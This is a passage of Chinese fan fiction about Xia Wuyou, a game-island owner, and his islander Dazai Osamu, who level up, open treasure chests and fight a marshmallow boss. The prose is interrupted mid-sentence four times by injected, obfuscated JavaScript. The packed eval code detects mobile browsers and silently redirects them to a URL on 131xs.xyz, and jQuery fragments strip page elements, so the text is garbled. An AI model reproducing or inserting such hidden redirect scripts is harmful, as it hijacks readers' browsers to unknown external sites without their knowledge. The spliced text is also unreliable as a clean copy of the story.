太宰治的指甲在夏无忧手腕划出红痕,分走了点夏无忧的注意力,玩笑般开口。 “也许我什么都不做呢?” 夏无忧眼睛闪闪发亮,欢呼地扑上去抱住太宰治,“亲爱的,那再好不过!” 在他们见到面前,一切都是未知的。 夏无忧也许会准备很久才离开岛屿,也许哪天太宰治心情好了,的确什么都不做。 不管如何,名为约定的东西在游戏中成立。 “行了。”太宰治拽住怀里夏无忧的兜帽,往远处拉了拉,“我离升级还要多少经验?” “我看看。”夏无忧打开组队页面。 组队页面是两个像素小人走动中的侧面,每个小人下面有个框条,代表太宰治的经验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698124|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条满了大半。 每个等级之间,需要的经验都是跳跃式增长的。 夏无忧升到1级只要消灭一只棉花糖怪,太宰治升到2级要一车的棉花糖怪。 夏无忧在看界面,太宰治在看夏无忧,他不止一次见到夏无忧这样看向虚空中的某一点。 夏无忧看到的世界和他是不一样的,他能看到一些被数据化的信息,放在游戏中,这个叫页面吧。 太宰治揪住夏无忧的连帽绳,“为什么我看不到界面,我不是被你邀请来的玩家吗?” 夏无忧才发现自己还没给太宰治介绍他的海岛。 他清了下嗓子,转向太宰治,把自己的连帽绳解救出来,“不,你不是玩家。” 太宰治奇道:“那是什么,别告诉我真的是绑客。” 夏无忧:“当然不是!我们是积极向上,和谐奋斗的岛屿!我是岛主,你是被我召唤的岛民。” 太宰治顺势问了下去:“作为你的岛民,我该有什么?” 夏无忧执起太宰治的手,目光无比深情,“敬爱岛主的心。” 太宰治点住夏无忧的额头,视线有点空,眼里缀着的是琥珀般的微光,好似守着禁果的毒蛇。 “作为一个积极向上的岛,岛民为什么不可以召唤岛主?岛主不应该守护岛民吗?” 岛主可以召唤岛民,岛民却不可以召唤岛主,这哪谈得上平等。 夏无忧正色:“没有这个功能。” 现在岛上就太宰治一个特殊岛民,若是能让他召唤,以太宰治的麻烦程度,他绝对会被烦得没觉睡。 而别的岛民会留在岛上,是完全属于岛主的居民。 因此这个反向召唤功能是没必要的。 太宰治:“你看,嘴上说的再好听,这里还是你虚构的,仅供懦弱者逃避的世界。岛上再美好,也是空洞的梦。” 被质疑的夏无忧目光还是平淡的,很轻柔,如同不为任何事物停留的风。 “若你有一时觉得的这里是美好的,那它就值得存在。若在你梦中的我是真实的,那它就是真实的。” 有人需要,那存在就是合理。 太宰治蹙眉,身上化不开的黑暗散开,将周身的一切吞没,他不想再看到夏无忧的眼睛,于是抬手蒙住夏无忧的眼。 果然是梦,越诱使人沉沦,越危险可怕。 他的掌心倏然传来细微的触感,有什么擦过他的掌心,比绒毛还要轻,是眨动的眼睫,他听到了夏无忧的叹气。 “哪怕是梦,说不定是哪个世界的希望呢。” 夏无忧的半边脸被遮住,露出的皮肤还是有点白,但比之前上了许多,这得益于岛上的食物,食物有数据加成,吃下去可以恢复体力。 他拉开太宰治的手,直接转身,向着一个方向行走,“走吧,去打首领怪。再怎么说,也得在正午的时候结束我们的比赛。” 太宰治还在想夏无忧说的话,希望? 他觉得这句话有别的含义,可夏无忧只提了一句,代表不会多说,问了也得不到答案。 太宰治跟了上去。 两人向着首领怪的位置前进。 15. 加冕 打怪路上,夏无忧会放出引怪的星辰,时不时吃几颗补充体力的糖果。 他们遇到的怪物都是棉花糖怪带队的,棉花糖怪的小弟有水里游的,天上飞的,地上跑的,还有各种奇形怪状的。 如果夏无忧和太宰治打累了,他们会抓一个棉花糖怪的小弟,当着它的面杀掉。 有很大概率棉花糖怪会气爆炸。 这方面太宰治天赋异禀,几句话就能让棉花糖怪生气。 不知道打了多少只怪后,夏无忧已经囤了能吃好几十年的糖果了,他都没空一个个看怪物掉落的东西,全都塞到了背包里。 感谢棉花糖怪带领的不同怪物,普通怪物的物品掉落概率低,但数量上来了,还是有好些掉落的。 比如:宝石、鱼饵、种子、矿石、食谱、食材。 掉落概率低的有:家具、药剂、宝箱。 从没掉落据说概率超级渺茫的:装扮、道具、武器。 值得庆祝的是,夏无忧一直盯着太宰治的经验条,盯到快把这片区域清理完,太宰治终于升级了。 【恭喜!您的岛民[太宰治]已升级!1.lvl——2.lvl】 太宰治身上浮出幽暗的光芒,身上气势更为强盛。 夏无忧本以为没他什么事,但他身上再次冒出了金光。 夏无忧:? 他狂敲系统。 夏无忧:[发生了什么?] 系统和蜗牛一样,被夏无忧戳一下才动。 系统:【您是岛主,您的岛民升级,当然要您亲自为他加冕。】 夏无忧不想。 虽然他不要脸,但这还是太考验他了。 夏无忧:[我们内部能不能换个说法,这个说法太丢人了。] 系统:【如果您想,您可以把自己视为岛屿的神明,神明当然可以为祂的信徒赐福,给予他们力量和祝福。】 夏无忧更痛苦了,还不如说是加冕,等他看完了系统贴上的教程,他表情才好上点。 [决定了,以后叫强化!] 系统从善如流。 【好,请您为您的岛民强化。】 夏无忧揉了下自己的脸,再抬头,他的气质一变,无论是动作还是神态都十分自信。 岛民升级了,作为岛主的他也得到了益处。 现在他的力量恢复,还比之前强上点,他在两道交错的光芒中走到太宰治面前。 太宰治的视线如有实质,质疑、好奇、揣测,混在了一起,存在感太强。 夏无忧不确定他看出了多少,但只要他不说,太宰治也不能肯定。 想一想,该说点什么呢? 他不好过,太宰治也别想好过。 太宰治看出了夏无忧眼中的恶趣味,“你不会在想什么又长又幼稚的咒语吧?” 夏无忧眯起眼,嘴角扬起,“你完了。” 见太宰治想跑,他拿出自己的权杖,将有星辰宝石的一端抵在太宰治的肩上。 “我祝福你,给予你玫瑰。” 夏无忧用力量定住太宰治,说了段诗歌一样的加冕词。 “我知晓你已看遍世间的暗影,看透人性的喧嚣,你所注视的黑暗刺穿你,推着你走入荒凉的长夜。 而我祝福你,见证最微小、脆弱、无意义的存在。 如钟声惊动的白鸟,如携着春天归来的风,如潮水拍过礁石的浪花。 这些组成了我的玫瑰。 你的聪慧让你痛苦,也让你能明白一朵花的忧伤,听到一颗星辰的孤独。 纵使生命千疮百孔,也因你的存在,你的思考,你的温柔和痛苦而珍贵。 你的存在本身,就是星辰等待的回应。” 起先说的时候,他在用一些会让太宰治难受的词,但到了后面,他的速度变慢,换了自己的语言。 比起表达喜欢,袒露自己的真心更难。 赞美和谎言早已融入夏无忧的本能,有时他不需要思考就能说出长长的一段,可是当他知道自己的捉弄里并非没有真心,他就不想太宰治知道了。 祝福不一定要让被祝福者知道。 祝福是双向的束缚。 念完后权杖上的星辰宝石析出道金色的星辰,几何的晶体星辰融于太宰治的武器里,枪支上多出了什么。 太宰治微愣。 场外的见证者,看完的系统发声:【虽然您不承认这是加冕,但这有什么区别吗?】 夏无忧迅速变脸。 [你——给我立刻把这点改了,我以后那么多岛民,要我见一个编一段,升一级说一段,累不累啊!!! ] 系统:【好的,已为您提交申请,申请添加跳过按钮。】 夏无忧舒了口气:[这还差不多。] 【不过你为什么特意换了语言?或者说,您不想要太宰治先生听懂吗?】 夏无忧拒绝去想。 [我怎么知道,或许他懂一点,后面的祝福是我给他的,当然要用我最熟悉的语言。] 【您高兴就好。】 “无忧。” 太宰治喊了声,背对他的夏无忧纠结了许久,调理好了心态。 他没有任何防备地转身,嘴上咕哝着:“在的在的,怎么样,升级后技能强不强?” 夏无忧瞥了眼太宰治,太宰治没什么表情,如果要形容,他现在像阴雨连绵的角落长出的蘑菇。 夏无忧:! 他走了几步,弯下腰头往上,打量不语的太宰治。 夏无忧:“不会吧,你这是什么反应,给我几句话啊。” “我听的懂。” 这会僵硬的是夏无忧了。 说实话,他现在已经忘了自己说过什么了,刚才有即兴表演的一部分,念完他自己记不住多少的。 在他迅速想着如何反应时,脸被缠着绷带的手捧住,太宰治垂着头,落下的乌发扫过他的脸颊,挡住了稀薄的光。 这对鸢色的眼浸在黑暗中,眼尾弯起,摆出了一个衬得上是笑的表情。 但他的眼里明明什么都没映照出来。 无论是夏无忧,光影,还是世间的什么,他的呼吸拂在夏无忧的脸上,夏无忧却觉得他离自己很遥远。 太宰治在问:“我给我讲过个故事,人从蜘蛛丝里出来,去寻找希望,你故事中的人,是我吗?” 夏无忧不知为何成了这样子。 如果可以,他希望太宰治别再露出那样的表情。 他抬起手,将太宰治脸边的头发挽起,再放下,柔软的乌发一根根从他的手中流走,穿过发丝的缝隙,可以见到被点亮的星光。 他凝视住太宰治的眼眸说:“是。” 太宰治敛目,“我不会去寻找希望,活着已经够没必要。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698125|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道。” “不,你不知道。”有什么从太宰治虚构的假面上破碎,宛若镜面蜘蛛网状的裂缝,他在笑,眼里却是不息的潮湿阴雨。 他用手指压住夏无忧的唇,如在碾压一朵被雨打落枝头的颓靡之花。 “擅自闯入别人的世界,自以为是给出没必要的东西,你傲慢到让我恶心。” 他向前逼近,将最后的距离填补上,投下的阴影将全部的光都遮去,让夏无忧浅色的眼眸困于他的影子中。 黑色的幽灵,拥有可以操控人心的魔力,自他口中吐露的,可以是蛊惑欲望的蜜,也可以是最伤人,令人心脏都溃烂痛苦的毒。 “是吗?” 夏无忧扬起了一抹笑。 他的笑灿烂若朝阳,温度偏高的手指点在太宰治脸上,仿若蛇一般滑动,钻入太宰治眼部的绷带下,触碰久不见光的皮肤。 “我不在乎,太宰治。” 他终于愿意表现属于他的恶劣,眼中从不遮掩喜爱与情绪,因为他自信没人能借此左右他。 那种浅显的东西不会在他心上留下一点痕迹。 夏无忧的手指在太宰治脸上的绷带下鼓出轮廓,他按住太宰治的眼,贴近眼皮下的眼球,眉梢染上疯狂的侵略性。 “我给过你驱逐我,杀死我的机会,你做不到,那么我就是游戏的胜者。” “无论你是想要什么恨着的人,什么可利用的对象,什么待解开的谜,我都可以是。” “同样——我们的游戏不会结束,至死也不行。” 太宰治的神色变了,他抿住唇,像是被这样的语言化作的玻璃,扎到鲜血淋漓。 他失去了披上已久的伪装,被撕开皮囊,放在太阳下曝晒,这让他面目全非,融化为一滩泥烂的沼泽。 他失去了开口的力气,动摇在体内震荡,传播到身体每个角落,使他的手指也颤抖了一下。 留意到的夏无忧按住太宰治的脸,仰起头,额头抵住了对方的额头。 他伸出手臂揽住太宰治的脖子,如同之前给予过的紧密拥抱,闭着眼,安抚性地浅浅笑起。 当有光落下时,他睁开了眼,眼睫渡上一层融融的金光。 打破壳,光从缝隙照进深渊。 他望进了太宰治的眼睛,“故事、承诺和祝福,你不想要我也会给,这是每个人都可以拥有的,如果你恨,你就当做这是我的诅咒。” 他的手往下,从太宰治的肩膀,沿着手臂滑到掌心,手指抚过枪支上多出的纹路。 ——一片血红色的玫瑰,玫瑰的花蕊是金色的星辰。 太宰治闭了会眼,他想。 好的谎言是用真话组成的,将真话高明地打乱,编排,就能起到误导人的作用。 陷于迷雾,他失去判断方向的能力。 已经没办法了吧,被条杀不死的章鱼缠上,倒霉到这个程度,他还得再驻足观察,安排更周密的计划。 谎话说的那么动听,如果不彻底揭开夏无忧的阴谋,让对方暴露出丑陋惧怕的一面,他会气到睡不着的。 额头被抵住,太宰治睁开眼只能见到夏无忧的眼眸,于是他的眼里也倒映出星光。 他听到自己说。 “那么,我们拭目以待。” 看是谁杀死谁,看是谁胜利,看是谁的血染红玫瑰。 落到他手里的星星,就回不到天上了。 16. 宝箱 “嗯嗯!”夏无忧迅速从背包取出个章鱼软糖,展开太宰治的手,往上面一放,“所以能告诉我能升级了哪些功能吗,能不能带我干掉首领怪?” 他催促起来,眼里只有对干掉首领怪后奖励的向往。 太宰治捏着章鱼软糖,把手放远了些,很是嫌弃的样子,“为什么还有章鱼软糖?” 夏无忧把太宰治的手拉回来,“别回避我的问题!” 太宰治捏着软糖,把章鱼软糖捏得扁扁的,随手丢到口里,没力气似的,软成下了锅的面条,一边嚼一边被夏无忧摇晃。 “不——知道,你是岛主,为什么要逼问一个可怜的岛民。” 夏无忧不可置信,“怎么就是逼问了。”他掐住太宰治的脸,有点心疼自己刚刚给出的章鱼软糖,动物软糖可是比较难出的,还是水果气泡水味道的。 太宰治看出夏无忧的心疼,哈了声,同样不可置信。 “你一个岛主,心疼一块糖,如果我没记错,这大半的怪是我打的吧。” 他立刻换了副表情,“决定了,吝啬的岛主就该变成穷光蛋。” 夏无忧双臂交叉,戒备地远离。 “想要我交出来战利品?没门,岛上连草皮都是我的!你记住,我们岛上不工作,所以没有工资!我们岛上没有税,所以你的劳动所得都是我的!” 太宰治抱臂,睨着夏无忧,“这不是比黑手党还黑心的岛吗?” 夏无忧:“有吗?” 太宰治逼近一步:“有没有打打杀杀?” 夏无忧嘴硬:“除了怪物,岛上没有任何伤亡。” 太宰治再近一步:“岛民要不要辛勤劳作,有没有保险,有没有假期,有没有个人所得?” 夏无忧目光坚定:“没有。” 太宰治捂住嘴,“哇,涉及到你自己的利益时,意外地坦诚呢。” 夏无忧眼珠一转,想到好主意,“对,你的命也是岛主的资产,遇到麻烦的敌人了,可以把人流放到这。” 太宰治两指点在下巴处,眼里闪过兴味,瞧着有点狡黠,“你又要为我展示什么神奇魔法了吗?” 按这个意思,夏无忧不但可以将人传送到岛上,还可以赋予别人传送的能力。 夏无忧知道太宰治藏着什么坏,真给出这个能力,下一秒太宰治就能把所有敌对组织送过来。 他知道,但他欣然接受。 “现在不行,现在我可是才起步的弱小岛主。” 太宰治兴趣不减,“这么说,你在给我描绘美好的未来吗?” 夏无忧作势要从背包里拿出什么,在太宰治配合着伸出手时,他拍了下太宰治的手掌,补上了之前的击掌。 见太宰治顿住,他愉快起来。 “是的,在我的国家,这种行为叫画饼,意思是许诺不切实际的希望,来激励他人。” 太宰治:“那你要兑现吗?” 夏无忧:“当然,我可是好岛主。” 太宰治曲起手指接近夏无忧,夏无忧后退一步,抬手就要护住额头,以防太宰治再弹他额头,但他的手被太宰治拽住。 太宰治在他手心拍了下。 “是战前击掌。”他这样说。 夏无忧无比欣慰,拍了拍太宰治的肩膀,“很好,你已经领悟了一点我们的岛屿文化。” 太宰治笑了声,这次的笑不是阴沉沉的,只是简单的笑,似沉闷的雨后一缕干净清爽的风。 他这样笑起来,有了点属于少年人的活泼。 夏无忧的眼睛亮了下,他拿出权杖在手里转了圈,指向雾气最浓的方位,“那么——开荒小分队出发,消灭这个区域的首领怪吧!” 太宰治懒洋洋跟着,不走心地喊了声。 “遵命。” 在他发现夏无忧要挥动权杖的时候,他从背后环住夏无忧的脖子,捂住对方的嘴,“行了,省着点力气吧。” 夏无忧扒下太宰治的手,有点惋惜,“真的不想再体验下豪华代步工具了吗?” 太宰治冷酷拒绝:“不想。” 夏无忧望了眼太宰治,太宰治诡异地从中读出了[真拿你没办法]的含义。 他不禁沉默反思,难道和夏无忧待久了,他被传染了什么可怕的病毒吗,脑子都开始坏掉。 他见夏无忧走了一步,忽然停住,仿佛想到了什么,转过身期待地看向他。 太宰治:…… 太宰治:“你最好真有事。” 夏无忧用一种特别闪耀的视线注视着太宰治。 “治,你听说过开宝箱吗?” 太宰治沉默了会,“虽然你总是做出一些愚蠢的行为,但你不能假定别人愚蠢。” 夏无忧:“想骂就直接骂,干嘛这么委婉。” 太宰治假笑:“左右你也能听懂。” 夏无忧捂住耳朵,“好,我要剥夺你开宝箱的权利。” 太宰治戳了下夏无忧的后背,嗤笑,“你可真会给自己找借口,不是本来就没准备给我吗?” 夏无忧纠结道:“是能给,但运气这个东西谁也说不准。” 宝箱的掉落率真的很低,打了那么多怪夏无忧也才拿到两个,因为要去打首领怪,他准备用宝箱开出的东西武装一下。 他想了想,还是拿出一个箱子,放到太宰治怀里。 “给,拿好了,我亲爱的岛民,这是伟大的岛主仅有的两个宝箱之一,是我们岛上的希望!事关岛的命运能否被改变,成败在此一举!” 太宰治不上当:“原来你是想到,把宝箱给我开可以多个迁怒的对象啊。” 要是夏无忧两个宝箱都没开到好东西,只能生闷气。 但是把一个宝箱给他,不但能卖个好,还怎么都不亏。 开出的东西,要是夏无忧的比他好,夏无忧可以嘲笑他;要是夏无忧的比他差,夏无忧可以说自己机智;要是都不好,夏无忧可以迁怒他。 太宰治把宝箱丢回去,“不开,我亏。” 夏无忧:“居然有人能拒绝开宝箱的魅力?!” 太宰治:“强调——开宝箱的魅力在于那是我的宝箱。” 夏无忧特别心痛地伸出一根手指,想故作大度,但脸上的心疼藏都藏不住,“行,给你一件。” 太宰治包裹住他竖起的手指,笑得颇为阳光,“成交。” 说完他就从夏无忧手上抢走了宝箱,眼也不眨地打开了。 夏无忧赶紧拿出另一个宝箱,同时打开了自己的宝箱,绝不落后于太宰治。 宝箱开出五颜六色的光。 夏无忧的界面上方弹出彩带特效,高饱和度的锡纸碎片飘落,金色的大字来回滚动。 【恭喜您开出稀有道具!】 【恭喜您的岛民开出稀有道具!】 夏无忧期待地看向宝箱,发现里面就躺着一件东西,他摸了半天,发现没了,大惊着问系统。 夏无忧:[管家,这就没了?] 系统:【是您赚了。】 夏无忧:[怎么说?] 系统:【您开启的第一个宝箱有保底,游戏有隐藏幸运值,您在游戏中的时间还没超过二十四小时,有新人岛主的幸运加成。】 夏无忧一点就通:[我猜,为了保护我这样的宿主,我进入世界的初阶段也有幸运加成。] 他就知道,虽然他身手不错,但和森鸥外比起来差远了,在先代首领的卧室,他居然能躲过那么多次攻击。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698126|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且系统的传送时间也恰到好处,到了游戏里,他第一次召唤就抽中了太宰治,运气好到了极点。 系统:【是,这种初级宝箱本来不应该有这种装备。】 夏无忧:[所以为了平衡,宝箱里只有一件东西?] 系统:【对。】 夏无忧:[太宰治也是?] 系统:【当然。】 夏无忧震惊地看向太宰治,太宰治把玩着宝箱里的东西,发现他的视线后,笑道:“怎么办,里面只有一件东西。” 夏无忧被打击到掉色。 他嘀嘀咕咕着什么“小小宝箱,我不在乎”“混蛋幸运,我恨你”“良心这个东西只会阻拦我成为最强岛主”。 直到他被太宰治拽住了的兜帽。 夏无忧眼泪汪汪回头:“干嘛?” 太宰治啧了声,“怎么这幅表情?” 夏无忧:“你不懂,在我家,我是混蛋。” 太宰治费解:“这是很令你骄傲的事吗?” 夏无忧:“你不懂,混蛋的意思是,我最小,我不要脸,我无敌。” 太宰治将手上的东西扣到夏无忧的肩上,“行了,给你。” “诶?” 夏无忧摸了下肩膀,摸到条半透明金色飘带,他在原地转了圈,扬起的飘带有流光溢彩的拖尾,落下时仿佛拢起的玻璃蝶翼。 [名称:繁星 功能:固定幸运加成 介绍:月光化作蝴蝶,在第一缕金色的晨曦中消散,它的影子穿过薄暮,要回到夜幕与星辰作伴。] 夏无忧摸了又摸,向太宰治确认:“给我了?” 太宰治:“不然呢?你是故意的?” 只是夏无忧提过[无敌幸运光环],宝箱里真给他开出这样的幸运配件,他没想过把什么寄托在幸运上,那太懦弱。 夏无忧特别感动。 “论迹不论心,治,你好爱我。” 太宰治笑着挤出两个字,“闭嘴。” 夏无忧将箱子中开出的唯一道具塞到太宰治,“没事,我也爱你,给,拿着。” 太宰治被噎住,觉得拿也不是,不拿也不是。 拿了就如了夏无忧的愿,不拿夏无忧可能更高兴,还是拿吧。 道具是一枚漆黑的浑浊宝石,太宰治拿起来对准天空,宝石中央有猫眼一样的血色竖光。 [名称:最后的晚餐(一次性) 功能:指定十三个人赴宴,其中必须包含您,被邀请人必须到指定地点,违者死亡。 负面效果:十三个人中,必须有一人死亡。 备注:如果命够硬的话,晚餐无比美味,您可以专心享用。 介绍:恶魔和天使打赌,圣徒是入地狱还是天堂,圣徒宴请它们,将之烹饪为最后的晚宴。 神明已死,世界属于人类。] 夏无忧见过介绍了,他很自然地说:“你可以把他们邀请到我的岛上,我的岛屿只有你能进来。” 所以只要太宰治想,他指定的十二人必然死亡。 太宰治拿着宝石,眼里没有对这般力量的什么感触,只和把玩弹珠一样,放在自己眼睛前。 透过黑色宝石中的血色竖光,他望向夏无忧,宝石中的人被模糊一道影子,仿佛人类幻想中的恶意化身。 恶魔在说: “等你不喜欢的人死了,我再来赴约,那应该会是顿美味的晚餐。” 太宰治喉间压抑着一道气音。 这样的道具如果能被带到现实,流传出来,普通人和异能者的界限将被无限模糊,无数人会趋之若鹜,为之疯狂。 得庆幸吗,拥有岛屿的是夏无忧。 得叹息吗,世界要彻底完蛋了啊。 17.斜阳 夏无忧走到太宰治面前,挥挥手,从他的角度,只能见到太宰治一只眼被绷带遮着,一只眼被宝石挡住。 这不就是没眼睛了吗! 他伸出手,想摸下宝石,在他的指尖要碰到宝石的时候,太宰治抬高了手,将宝石举高。 夏无忧仰着脖子,手搭在太宰治的肩上,脸与对方贴得很近,近到他的眼映出神色难辨的太宰治。 “难道治想捏碎这块宝石吗?”说话时,他的温热的呼吸拂在太宰治的脸颊上。 太宰治垂目:“为什么要捏碎?” 夏无忧想了下道:“为了保护你的世界?别让平衡被打破之类的。” 太宰治:“我是什么烂好人吗?” 人们喜欢拿什么当作放纵欲望的借口,而真正驱使他们的是欲望本身。 黑手党要做的就是用暴力牟取大量的利益,有这样一颗宝石,太宰治可以做到很多事,震慑铲除敌人,提高□□地位,制造和解决混乱。 力量如果不握在手上,被操控的就是自己。 夏无忧松开手,往后退了步,拍了下胸口舒气:“那我就放心了,不过,是不是不对劲啊?” 他懊恼地拨弄了下[繁星]的飘带,“你对幸运不感兴趣,你手上的这块宝石对我来说一文不值,我们都开到了珍贵的,但对自己没价值的东西。” “好大的口气。”太宰治将宝石收起,“你对杀人不感兴趣?” 夏无忧手指绕着飘带,思索道:“我自己能做到。” 太宰治发现了这句话的古怪,他意识到什么,“你需要杀人?” 正常人对上提问,回答应该是否定,可夏无忧说的是“能做到”,以他的性格,他根本不会为难自己杀人,所以他有必须杀的人。 太宰治想到像素世界的游戏,[杀人]是夏无忧的任务吗? 夏无忧:“对哦。” 太宰治:“你真是杀手?” 森鸥外说夏无忧是刺杀先代首领的杀手,如果夏无忧真当了杀手,这不坐实了森鸥外的借口了吗。 夏无忧:“我不像吗?” 太宰治:“你觉得呢?” 夏无忧握拳:“没事,现在我离出名还有段很长的路,但我迟早会扬名的!” 太宰治蹙眉:“你当杀手是为了好玩?” 夏无忧:“不完全是,这是交易,是为了满足一个蝴蝶收藏家。” 太宰治观察夏无忧的表情,他想到夏无忧惯有的,浪漫又残酷的比喻。 蝴蝶和死亡有什么关系? 假如死去的人是蝴蝶呢。 杀手定格死亡,蝴蝶收藏家定格蝴蝶,那么什么样的存在才会觉得生命是值得定格的美丽呢? 蔑视人的存在,或者说,高于人的存在。 太宰治用手指沿着抚过夏无忧的繁星飘带,飘带垂落时,像是栖息在花苞里的玻璃之蝶,洒着绚烂的点点星砂。 “原来如此,在你背后的存在眼中,人类是蝴蝶,虽然我不觉得生命有什么值得收藏。” 夏无忧:“不只喔,我应该是它眼中最灿烂的金色蝴蝶,所以你猜,它想收藏我吗?” 太宰治哂笑:“它为你设计出这个岛屿,把你高高捧起,答案不一目了然吗?” 收藏品和供奉的神明,是两个不同的概念。 夏无忧弯了下眼,往前方走去,他们一路走一路消灭了不少怪物,怪物死亡后会污染会被净化。 这样一路走来,他们像是拯救世界的勇者,把生命力归还了大地。 夏无忧走在前面,时而把手背在身后,对向太宰治倒退着走,时而一蹦跳一跨步,飘带也跟着起起落落。 太宰治走着,目光追着活泼过头的人,想着,夏无忧和飘带还是真配,如什么上下左右冲撞的星星。 因为要戒备会突袭的怪物,他一直握着枪,手指无意识摩挲着枪身上的血色印记。 说不知道他升级后的能力,那完全是骗夏无忧的,他当然知道。 在夏无忧给予他祝福后,他就听到了道冰冷的电子音。 【恭喜您,您获得了星辰的祝福。】 【技能:[斜阳] 效果: [1]召唤一片斜阳领域,领域中的所有伤害为溅伤(攻击一个怪物,周围怪物同等受到50%伤害)。 [2]在斜阳消失时,一切如破灭的梦幻,爆发一次终极攻击(领域期间造成的累计伤害越高,攻击越强)。 负面效果:使用者有小概率触发自伤。 备注:该技能范围越大,持续时间越久,冷却时间越长。 介绍:你为何而诞生,你不知。 去作捧翻滚的浪花吧,悄悄躺着,装作睡着,再睁开眼,去见底下闪烁的金砂,那会是答案吗?】 【在他的见证下,星光永庇您,祝君武运昌隆。】 太宰治用自己的认知去理解,就是说他可以召唤出斜阳,斜阳下他的攻击范围增加。 同时斜阳消失后,会再触发一次攻击,中途他打到的怪物越多,这一击越强。 副作用就是他可能会伤害到自己。 意外适合他的技能,这游戏真是方方面面下足了功夫,只为了岛屿的主人能玩得尽兴。 太宰治想到了个好主意。 “治!” 前面的夏无忧发现了什么,惊喜地喊了一声。 太宰治的思路被打断,他握住枪看过去,见到了数量众多的怪物。 【经过披荆斩棘,邪恶怪物的阴谋暴露,一大波怪物袭来:王冠棉花糖小人(首领2.lvl)、棉花糖怪(精英1.lvl)】 【请岛主和岛民做好战斗准备!】 他们正式到达了核心区域,雾气背后是清一色的棉花糖,聚在一起快成了白色的海洋,棉花糖海洋里有个王座,一只造型奇特的棉花糖坐在上面。 它是棉花糖小人的形态,有白色翘起的短发,两个豆豆眼,眼下有个倒皇冠式的紫色印记。 见到他们,棉花糖小人从王座上站起,如八音盒中间的玩偶一般,原地旋转,唱起了当当当的歌。 夏无忧疑惑:“这就是首领怪?” 太宰治用没有起伏的语调说:“棉花糖真成精怪了。” 棉花糖小人发现了两个像素小人,它展开了双臂,大叫一声“哇咔!” 夏无忧笃定:“这是欢迎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704257|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 太宰治沉默,因为不知道说什么,他应了声“……哦”。 然后没有任何征兆的,棉花糖小人发动了攻击。 它身下的王座膨胀得圆鼓鼓的,椅背中央咧开巨大的嘴,从中发射出了紫白色的能量光波。 夏无忧没想到这首领怪不打招呼就攻击,他瞬间发动[星幻],构建起金色的屏障。 屏障没能撑过太久,在能力冲击波下碎裂,他将权杖横着,星光化为长剑,剑身上月影一闪而过。 夏无忧给自己加了[月赎]状态,旋即一剑劈开了冲击波。 金色的剑将紫白色的能量切割开,如分开了水流,流溢的白色光点擦过夏无忧的脸,照过他锋芒毕露的眉宇。 “太宰!” 他唤了声,话音落下,一道血色的子弹掠过他的头顶,向着斜上方而去。 子弹的落点是棉花糖小人的王座,但在它中途就炸开,在空气绽开血晶。 血晶扩大,从一个点,到半个球,再到完整的球,组成了轮斜阳,宛如教堂血色玻璃拼凑起的天窗。 斜阳的血光透过浑浊的雾气,照在怪物身上,棉花糖怪身上出现玫瑰印记,代表它们在领域内,受到攻击会同步给周围的怪物。 夏无忧兴奋道:“哇,太酷了,我以后也要这么酷!” 他边说,边挥出一道金色的剑斩,剑斩所至之处,大波棉花糖怪负伤。 本来这一击没那样的效果。 但有斜阳领域的加成,夏无忧攻击到一只棉花糖怪,棉花糖怪身上的玫瑰印记会绽放,扩散到周围棉花糖身上,让它们同步受到伤害。 因此他攻击到一群棉花糖,每只棉花糖受到的不只有一次攻击,还有几十次的溅伤攻击。 夏无忧给太宰治比个了拇指,完全忘了什么要太宰治带他杀怪。 他差不多清楚了太宰治的新技能,于是持剑向前冲,让他奇怪的是:之前遇到的棉花糖怪,见到手下死了会生气。 但是棉花糖小人见手下死了,还会捂住嘴窃笑。 不管了,先杀再说。 他觉得跑太慢,就在路上变出弹床,往上一踩,高高跃起,如飞燕般冲到了王座前。 棉花糖小人坐在巨大的王座上,拍了拍一点大的短手。 王座的背椅往后弯曲,它仰着脖子张嘴,和礼花一样吐出了漫天的棉花糖,这次天上掉下的不是什么无害的糖果,而是高伤害的炸弹。 夏无忧都没回头,就准确给太宰治的位置套了个护盾。 